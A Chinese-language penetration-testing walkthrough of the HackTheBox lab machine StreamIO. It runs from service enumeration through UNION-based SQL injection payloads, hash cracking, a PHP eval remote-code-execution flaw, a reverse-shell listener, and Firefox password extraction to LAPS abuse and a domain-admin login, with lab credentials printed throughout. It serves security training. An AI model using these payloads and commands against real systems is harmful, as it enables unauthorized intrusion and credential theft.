实战打靶之StreamIO
字数 1436 2025-08-11 23:05:55
StreamIO 渗透测试实战教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描发现19个开放TCP端口:
nmap -sV -sC -p- 10.10.11.158
关键发现:
- 53 (DNS)
- 88 (Kerberos)
- 135 (RPC)
- 139/445 (SMB/NetBIOS)
- 389 (LDAP)
- 443 (HTTPS)
这些服务组合表明这是一个域控制器(Domain Controller)。
1.2 子域名枚举
使用wfuzz进行子域名枚举:
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://streamio.htb/ -H "Host: FUZZ.streamio.htb" --hw 290
发现两个DNS名称:
- streamIO.htb
- watch.streamIO.htb
1.3 SMB服务探测
使用crackmapexec进行SMB爆破:
crackmapexec smb 10.10.11.158 -u users.txt -p passwords.txt
2. Web应用分析
2.1 网站功能分析
- 80端口:运行WinServer服务
- 443端口:HTTPS服务
- 发现联系页面,提交表单后提示"在电子邮件中寻找回复"
- 注册功能可用但登录失败
2.2 目录爆破
使用feroxbuster进行目录爆破:
feroxbuster -u https://streamio.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php
发现:
- 登录和注册模块
- watch.streamio.htb子域名网站有FAQ和订阅表单
3. 漏洞利用
3.1 SQL注入发现
在search.php页面发现SQL注入漏洞:
- 搜索功能返回电影列表
- 输入"test"返回"The Greatest Showman"
- 推断SQL查询类似:
select * from movies where title like '%[input]%'
3.2 手工注入绕过WAF
测试注入payload:
test' union select 1,2,3,4,5,6;-- -
成功注入后获取信息:
# 查询版本
u' union select 1,@@version,3,4,5,6 -- -
# 查询表名
u' union select 1,table_name,3,4,5,6 from information_schema.tables -- -
# 查询users表列名
u' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='users' -- -
# 查询用户和密码
u' union select 1,concat(username,':',password),3,4,5,6 from users -- -
3.3 凭证爆破
使用hashcat破解获取的哈希:
hashcat -m 0 hashes.txt rockyou.txt
发现有效凭证:
- 用户名:yoshihide
- 密码:66boysandgirls..
4. 后台访问与进一步利用
4.1 后台功能分析
登录后访问/admin发现4个功能点:
- 电影管理
- 员工管理
- 用户管理
- 调试功能
4.2 参数枚举
使用wfuzz枚举参数:
wfuzz -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: PHPSESSID=gpp07f35aviqcd3ak2544hne08" --hh 1678
发现/debug目录。
4.3 源码获取与分析
使用PHP过滤器获取master.php源码:
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php
关键代码分析:
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include'])){
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
4.4 命令执行漏洞利用
构造payload进行远程代码执行:
- 本地开启HTTP服务
- 上传反向shell脚本
- 触发执行
获取初始shell:
rlwrap -cAr nc -lnvp 443
5. 权限提升
5.1 主机信息收集
发现Firefox配置文件:
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\...
使用firepwd工具提取保存的密码:
./firepwd.py
5.2 域内信息收集
使用BloodHound进行活动目录分析:
bloodhound-python -d streamio.htb -u nikk37 -p 'B1@hx31234567890' -c all -ns 10.10.11.158
发现关键权限:
- JDgodd用户对"Core Staff"组有WriteOwner权限
- "Core Staff"组对DC计算机对象有ReadLAPSPassword权限
5.3 LAPS密码提取
使用PowerView获取LAPS密码:
$cred = New-Object System.Management.Automation.PSCredential("streamio.htb\JDgodd", (ConvertTo-SecureString "B1@hx31234567890" -AsPlainText -Force))
Get-AdComputer -Filter * -Properties ms-Mcs-AdmPwd -Credential $cred
获取管理员密码:8M[&tV4#!j$k05
5.4 最终权限获取
使用evil-winrm以管理员身份连接:
evil-winrm -u administrator -p '8M[&tV4#!j$k05' -i 10.10.11.158
获取root.txt:
type C:\Users\Martin\Desktop\root.txt
6. 总结
本次渗透测试路径:
- 信息收集发现子域名和开放服务
- 通过SQL注入获取数据库凭证
- 破解哈希获得后台访问权限
- 发现并利用后台命令执行漏洞获取初始shell
- 提取Firefox保存的密码获取更多凭证
- 通过BloodHound分析域内权限关系
- 利用LAPS获取域管理员密码
- 最终获取系统完全控制权限
关键学习点:
- 子域名枚举在渗透测试中的重要性
- SQL注入的手工绕过技术
- 后台功能审计中发现隐藏漏洞
- 活动目录权限关系的分析与利用
- LAPS在域环境中的安全影响